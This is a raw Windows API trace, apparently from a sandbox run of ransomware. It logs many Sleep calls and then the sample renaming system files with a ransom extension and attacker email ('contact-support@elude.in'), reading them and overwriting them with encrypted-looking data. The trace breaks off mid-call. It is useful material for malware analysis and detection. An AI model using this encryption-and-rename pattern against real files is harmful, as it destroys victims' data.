[0078.377] Sleep (dwMilliseconds=0x1) [0078.515] Sleep (dwMilliseconds=0x1) [0078.534] Sleep (dwMilliseconds=0x1) [0078.559] Sleep (dwMilliseconds=0x1) [0078.612] Sleep (dwMilliseconds=0x1) [0078.624] Sleep (dwMilliseconds=0x1) [0078.648] Sleep (dwMilliseconds=0x1) [0078.657] Sleep (dwMilliseconds=0x1) [0078.678] Sleep (dwMilliseconds=0x1) [0078.708] Sleep (dwMilliseconds=0x1) [0078.721] Sleep (dwMilliseconds=0x1) [0078.738] Sleep (dwMilliseconds=0x1) [0078.753] Sleep (dwMilliseconds=0x1) [0078.770] Sleep (dwMilliseconds=0x1) [0078.786] Sleep (dwMilliseconds=0x1) [0078.838] Sleep (dwMilliseconds=0x1) [0078.886] Sleep (dwMilliseconds=0x1) [0078.895] Sleep (dwMilliseconds=0x1) [0078.927] Sleep (dwMilliseconds=0x1) [0078.946] Sleep (dwMilliseconds=0x1) [0078.957] Sleep (dwMilliseconds=0x1) [0078.979] Sleep (dwMilliseconds=0x1) [0079.002] Sleep (dwMilliseconds=0x1) [0079.032] Sleep (dwMilliseconds=0x1) [0079.049] Sleep (dwMilliseconds=0x1) [0079.080] Sleep (dwMilliseconds=0x1) [0079.098] Sleep (dwMilliseconds=0x1) [0079.116] Sleep (dwMilliseconds=0x1) [0079.129] Sleep (dwMilliseconds=0x1) [0079.159] Sleep (dwMilliseconds=0x1) [0079.224] Sleep (dwMilliseconds=0x1) [0079.250] Sleep (dwMilliseconds=0x1) [0079.269] Sleep (dwMilliseconds=0x1) [0079.287] Sleep (dwMilliseconds=0x1) [0079.300] Sleep (dwMilliseconds=0x1) [0079.315] Sleep (dwMilliseconds=0x1) [0079.330] Sleep (dwMilliseconds=0x1) [0079.348] Sleep (dwMilliseconds=0x1) [0079.361] Sleep (dwMilliseconds=0x1) [0079.387] Sleep (dwMilliseconds=0x1) [0079.418] Sleep (dwMilliseconds=0x1) [0079.450] Sleep (dwMilliseconds=0x1) [0079.521] Sleep (dwMilliseconds=0x1) [0079.535] Sleep (dwMilliseconds=0x1) [0079.550] Sleep (dwMilliseconds=0x1) [0079.596] Sleep (dwMilliseconds=0x1) [0079.615] Sleep (dwMilliseconds=0x1) [0079.625] Sleep (dwMilliseconds=0x1) [0079.646] Sleep (dwMilliseconds=0x1) [0079.657] Sleep (dwMilliseconds=0x1) [0079.680] Sleep (dwMilliseconds=0x1) [0079.692] Sleep (dwMilliseconds=0x1) [0079.736] Sleep (dwMilliseconds=0x1) [0079.803] Sleep (dwMilliseconds=0x1) [0079.813] Sleep (dwMilliseconds=0x1) [0079.833] Sleep (dwMilliseconds=0x1) [0079.887] Sleep (dwMilliseconds=0x1) [0079.918] Sleep (dwMilliseconds=0x1) [0079.930] Sleep (dwMilliseconds=0x1) [0079.941] Sleep (dwMilliseconds=0x1) [0079.983] Sleep (dwMilliseconds=0x1) [0080.051] Sleep (dwMilliseconds=0x1) [0080.067] Sleep (dwMilliseconds=0x1) [0080.087] Sleep (dwMilliseconds=0x1) [0080.097] Sleep (dwMilliseconds=0x1) [0080.139] Sleep (dwMilliseconds=0x1) [0080.157] Sleep (dwMilliseconds=0x1) [0080.176] Sleep (dwMilliseconds=0x1) [0080.241] Sleep (dwMilliseconds=0x1) [0080.257] Sleep (dwMilliseconds=0x1) [0080.272] Sleep (dwMilliseconds=0x1) [0080.282] Sleep (dwMilliseconds=0x1) [0080.304] Sleep (dwMilliseconds=0x1) [0080.313] Sleep (dwMilliseconds=0x1) [0080.346] Sleep (dwMilliseconds=0x1) [0080.358] Sleep (dwMilliseconds=0x1) [0080.387] Sleep (dwMilliseconds=0x1) [0080.413] Sleep (dwMilliseconds=0x1) [0080.423] Sleep (dwMilliseconds=0x1) [0080.444] Sleep (dwMilliseconds=0x1) [0080.499] Sleep (dwMilliseconds=0x1) [0080.530] Sleep (dwMilliseconds=0x1) [0080.552] Sleep (dwMilliseconds=0x1) [0080.564] Sleep (dwMilliseconds=0x1) [0080.586] Sleep (dwMilliseconds=0x1) [0080.602] Sleep (dwMilliseconds=0x1) [0080.618] Sleep (dwMilliseconds=0x1) [0080.657] Sleep (dwMilliseconds=0x1) [0080.676] Sleep (dwMilliseconds=0x1) [0080.706] Sleep (dwMilliseconds=0x1) [0080.720] Sleep (dwMilliseconds=0x1) [0080.768] Sleep (dwMilliseconds=0x1) [0080.784] Sleep (dwMilliseconds=0x1) [0080.808] Sleep (dwMilliseconds=0x1) [0080.816] Sleep (dwMilliseconds=0x1) [0080.842] Sleep (dwMilliseconds=0x1) [0080.892] Sleep (dwMilliseconds=0x1) [0080.915] Sleep (dwMilliseconds=0x1) [0080.925] Sleep (dwMilliseconds=0x1) [0080.939] Sleep (dwMilliseconds=0x1) [0080.960] Sleep (dwMilliseconds=0x1) [0080.975] Sleep (dwMilliseconds=0x1) [0080.992] Sleep (dwMilliseconds=0x1) [0081.001] Sleep (dwMilliseconds=0x1) [0081.029] Sleep (dwMilliseconds=0x1) [0081.052] Sleep (dwMilliseconds=0x1) [0081.283] Sleep (dwMilliseconds=0x1) [0081.435] Sleep (dwMilliseconds=0x1) [0081.528] Sleep (dwMilliseconds=0x1) [0081.553] Sleep (dwMilliseconds=0x1) [0081.568] Sleep (dwMilliseconds=0x1) [0081.578] Sleep (dwMilliseconds=0x1) [0081.603] Sleep (dwMilliseconds=0x1) [0081.610] Sleep (dwMilliseconds=0x1) [0081.632] Sleep (dwMilliseconds=0x1) [0081.661] Sleep (dwMilliseconds=0x1) [0081.689] Sleep (dwMilliseconds=0x1) [0081.711] Sleep (dwMilliseconds=0x1) [0081.756] Sleep (dwMilliseconds=0x1) [0081.777] Sleep (dwMilliseconds=0x1) [0081.788] Sleep (dwMilliseconds=0x1) [0081.834] Sleep (dwMilliseconds=0x1) [0081.847] Sleep (dwMilliseconds=0x1) [0081.887] Sleep (dwMilliseconds=0x1) [0081.913] Sleep (dwMilliseconds=0x1) [0081.923] Sleep (dwMilliseconds=0x1) [0081.948] Sleep (dwMilliseconds=0x1) [0081.964] Sleep (dwMilliseconds=0x1) [0081.974] Sleep (dwMilliseconds=0x1) [0081.983] Sleep (dwMilliseconds=0x1) [0082.006] Sleep (dwMilliseconds=0x1) [0082.032] Sleep (dwMilliseconds=0x1) [0082.054] Sleep (dwMilliseconds=0x1) [0082.065] Sleep (dwMilliseconds=0x1) [0082.116] Sleep (dwMilliseconds=0x1) [0082.128] Sleep (dwMilliseconds=0x1) [0082.155] Sleep (dwMilliseconds=0x1) [0082.195] Sleep (dwMilliseconds=0x1) [0082.214] Sleep (dwMilliseconds=0x1) [0082.233] Sleep (dwMilliseconds=0x1) [0082.258] Sleep (dwMilliseconds=0x1) [0082.277] Sleep (dwMilliseconds=0x1) [0082.294] Sleep (dwMilliseconds=0x1) [0082.310] Sleep (dwMilliseconds=0x1) [0082.370] Sleep (dwMilliseconds=0x1) [0082.419] Sleep (dwMilliseconds=0x1) [0082.540] Sleep (dwMilliseconds=0x1) [0082.588] Sleep (dwMilliseconds=0x1) [0082.636] Sleep (dwMilliseconds=0x1) [0082.684] Sleep (dwMilliseconds=0x1) [0082.728] Sleep (dwMilliseconds=0x1) [0082.777] Sleep (dwMilliseconds=0x1) [0082.821] Sleep (dwMilliseconds=0x1) [0082.871] Sleep (dwMilliseconds=0x1) [0082.915] Sleep (dwMilliseconds=0x1) [0082.969] Sleep (dwMilliseconds=0x1) [0083.015] Sleep (dwMilliseconds=0x1) [0083.056] Sleep (dwMilliseconds=0x1) [0083.103] Sleep (dwMilliseconds=0x1) [0083.151] Sleep (dwMilliseconds=0x1) [0083.200] Sleep (dwMilliseconds=0x1) [0083.243] Sleep (dwMilliseconds=0x1) [0083.292] Sleep (dwMilliseconds=0x1) [0083.338] Sleep (dwMilliseconds=0x1) [0083.384] Sleep (dwMilliseconds=0x1) [0083.437] Sleep (dwMilliseconds=0x1) [0083.702] Sleep (dwMilliseconds=0x1) [0083.752] Sleep (dwMilliseconds=0x1) [0083.801] Sleep (dwMilliseconds=0x1) [0083.914] Sleep (dwMilliseconds=0x1) [0084.012] Sleep (dwMilliseconds=0x1) [0084.093] Sleep (dwMilliseconds=0x1) [0084.201] Sleep (dwMilliseconds=0x1) [0084.344] Sleep (dwMilliseconds=0x1) [0084.737] Sleep (dwMilliseconds=0x1) [0084.811] Sleep (dwMilliseconds=0x1) [0084.876] Sleep (dwMilliseconds=0x1) [0084.962] Sleep (dwMilliseconds=0x1) [0085.045] Sleep (dwMilliseconds=0x1) [0085.126] Sleep (dwMilliseconds=0x1) [0085.176] Sleep (dwMilliseconds=0x1) [0085.347] Sleep (dwMilliseconds=0x1) [0085.389] Sleep (dwMilliseconds=0x1) [0085.737] Sleep (dwMilliseconds=0x1) [0085.830] Sleep (dwMilliseconds=0x1) [0085.964] Sleep (dwMilliseconds=0x1) [0086.082] Sleep (dwMilliseconds=0x1) [0086.187] Sleep (dwMilliseconds=0x1) [0086.236] Sleep (dwMilliseconds=0x1) [0086.294] Sleep (dwMilliseconds=0x1) [0086.351] Sleep (dwMilliseconds=0x1) [0086.588] Sleep (dwMilliseconds=0x1) [0086.897] Sleep (dwMilliseconds=0x1) [0087.092] Sleep (dwMilliseconds=0x1) [0087.471] Sleep (dwMilliseconds=0x1) [0088.062] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", len=0x2c | out: pbstr=0x5fbff7c*="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 1 [0088.062] GetProcessHeap () returned 0x630000 [0088.062] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b02b8, Size=0x10) returned 0x6b1268 [0088.062] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0088.062] CloseHandle (hObject=0x694) returned 1 [0088.062] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.063] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.063] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.063] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d54c0 [0088.063] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0088.063] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0088.063] GetProcessHeap () returned 0x630000 [0088.063] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f4bcd0 [0088.064] GetProcessHeap () returned 0x630000 [0088.064] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f57100 [0088.064] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.064] ReadFile (in: hFile=0x694, lpBuffer=0x6f4bcd0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4bcd0*, lpNumberOfBytesRead=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0093.724] GetProcessHeap () returned 0x630000 [0093.725] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0093.725] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.725] WriteFile (in: hFile=0x694, lpBuffer=0x6f57100*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f57100*, lpNumberOfBytesWritten=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0093.725] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.725] WriteFile (in: hFile=0x694, lpBuffer=0x6f624ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f624ff*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.725] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.725] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.726] CloseHandle (hObject=0x694) returned 1 [0093.728] GetProcessHeap () returned 0x630000 [0093.728] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f57100 | out: hHeap=0x630000) returned 1 [0093.728] GetProcessHeap () returned 0x630000 [0093.728] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4bcd0 | out: hHeap=0x630000) returned 1 [0093.728] GetProcessHeap () returned 0x630000 [0093.728] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0093.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.728] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xfdcf7652, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x15130, dwReserved0=0xad47496, dwReserved1=0x6f4bcc8, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5380 [0093.728] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0093.728] Sleep (dwMilliseconds=0x1) [0095.851] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Boot\\fi-FI\\memtest.exe.mui", len=0x1d | out: pbstr=0x5fbff7c*="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 1 [0095.851] GetProcessHeap () returned 0x630000 [0095.851] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69aeb0, Size=0x3c) returned 0x69b2e8 [0095.851] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0095.851] Sleep (dwMilliseconds=0x1) [0097.884] Sleep (dwMilliseconds=0x1) [0099.477] Sleep (dwMilliseconds=0x1) [0100.793] Sleep (dwMilliseconds=0x1) [0101.514] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Boot\\Fonts\\jpn_boot.ttf", len=0x1a | out: pbstr=0x5fbff7c*="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 1 [0101.514] GetProcessHeap () returned 0x630000 [0101.514] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b04f8, Size=0x10) returned 0x6b1388 [0101.514] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.335] Sleep (dwMilliseconds=0x1) [0102.352] Sleep (dwMilliseconds=0x1) [0102.376] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Boot\\ja-JP\\memtest.exe.mui", len=0x1d | out: pbstr=0x5fbff7c*="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 1 [0102.376] GetProcessHeap () returned 0x630000 [0102.376] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1430 | out: hHeap=0x630000) returned 1 [0102.376] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.376] Sleep (dwMilliseconds=0x1) [0102.380] Sleep (dwMilliseconds=0x1) [0102.396] Sleep (dwMilliseconds=0x1) [0102.431] Sleep (dwMilliseconds=0x1) [0102.459] Sleep (dwMilliseconds=0x1) [0102.474] Sleep (dwMilliseconds=0x1) [0102.489] Sleep (dwMilliseconds=0x1) [0102.505] Sleep (dwMilliseconds=0x1) [0102.520] Sleep (dwMilliseconds=0x1) [0102.539] Sleep (dwMilliseconds=0x1) [0102.555] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Boot\\nb-NO\\memtest.exe.mui", len=0x1d | out: pbstr=0x5fbff7c*="C:\\Boot\\nb-NO\\memtest.exe.mui") returned 1 [0102.555] GetProcessHeap () returned 0x630000 [0102.555] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1268 | out: hHeap=0x630000) returned 1 [0102.555] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.555] Sleep (dwMilliseconds=0x1) [0102.568] Sleep (dwMilliseconds=0x1) [0102.584] Sleep (dwMilliseconds=0x1) [0102.598] Sleep (dwMilliseconds=0x1) [0102.615] Sleep (dwMilliseconds=0x1) [0102.631] Sleep (dwMilliseconds=0x1) [0102.663] Sleep (dwMilliseconds=0x1) [0102.676] Sleep (dwMilliseconds=0x1) [0102.755] Sleep (dwMilliseconds=0x1) [0102.770] Sleep (dwMilliseconds=0x1) [0102.788] Sleep (dwMilliseconds=0x1) [0102.805] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Boot\\pt-PT\\memtest.exe.mui", len=0x1d | out: pbstr=0x5fbff7c*="C:\\Boot\\pt-PT\\memtest.exe.mui") returned 1 [0102.805] GetProcessHeap () returned 0x630000 [0102.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1430 | out: hHeap=0x630000) returned 1 [0102.805] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.805] Sleep (dwMilliseconds=0x1) [0102.818] Sleep (dwMilliseconds=0x1) [0102.884] Sleep (dwMilliseconds=0x1) [0102.901] Sleep (dwMilliseconds=0x1) [0102.928] Sleep (dwMilliseconds=0x1) [0102.943] Sleep (dwMilliseconds=0x1) [0102.957] Sleep (dwMilliseconds=0x1) [0102.974] Sleep (dwMilliseconds=0x1) [0102.989] Sleep (dwMilliseconds=0x1) [0103.006] Sleep (dwMilliseconds=0x1) [0103.020] Sleep (dwMilliseconds=0x1) [0103.088] Sleep (dwMilliseconds=0x1) [0103.098] Sleep (dwMilliseconds=0x1) [0103.115] Sleep (dwMilliseconds=0x1) [0103.129] Sleep (dwMilliseconds=0x1) [0103.152] Sleep (dwMilliseconds=0x1) [0103.164] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Boot\\sv-SE\\memtest.exe.mui", len=0x1d | out: pbstr=0x5fbff7c*="C:\\Boot\\sv-SE\\memtest.exe.mui") returned 1 [0103.165] GetProcessHeap () returned 0x630000 [0103.165] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1430 | out: hHeap=0x630000) returned 1 [0103.165] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0103.165] Sleep (dwMilliseconds=0x1) [0103.184] Sleep (dwMilliseconds=0x1) [0103.192] Sleep (dwMilliseconds=0x1) [0103.209] Sleep (dwMilliseconds=0x1) [0103.223] Sleep (dwMilliseconds=0x1) [0103.239] Sleep (dwMilliseconds=0x1) [0103.264] Sleep (dwMilliseconds=0x1) [0103.272] Sleep (dwMilliseconds=0x1) [0103.293] Sleep (dwMilliseconds=0x1) [0103.303] Sleep (dwMilliseconds=0x1) [0103.318] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx", len=0x37 | out: pbstr=0x5fbff7c*="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 1 [0103.318] GetProcessHeap () returned 0x630000 [0103.318] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b04f8, Size=0x14) returned 0x6b0318 [0103.319] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f0 [0103.371] CloseHandle (hObject=0x6f0) returned 1 [0103.371] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.371] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0103.403] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0103.404] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x1900e5fc, dwReserved1=0x0, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~1.FIR")) returned 0x6d4ec0 [0103.404] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0103.404] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f0 [0103.404] GetProcessHeap () returned 0x630000 [0103.404] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0103.405] GetProcessHeap () returned 0x630000 [0103.405] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71cb478 [0103.405] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.405] ReadFile (in: hFile=0x6f0, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0110.404] GetProcessHeap () returned 0x630000 [0110.404] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0110.404] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.405] WriteFile (in: hFile=0x6f0, lpBuffer=0x71cb478*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71cb478*, lpNumberOfBytesWritten=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0110.405] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.405] WriteFile (in: hFile=0x6f0, lpBuffer=0x71d6877*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d6877*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0110.405] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.405] WriteFile (in: hFile=0x6f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0110.405] CloseHandle (hObject=0x6f0) returned 1 [0110.407] GetProcessHeap () returned 0x630000 [0110.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71cb478 | out: hHeap=0x630000) returned 1 [0110.407] GetProcessHeap () returned 0x630000 [0110.407] HeapFree (in: hHeap=0x630000, 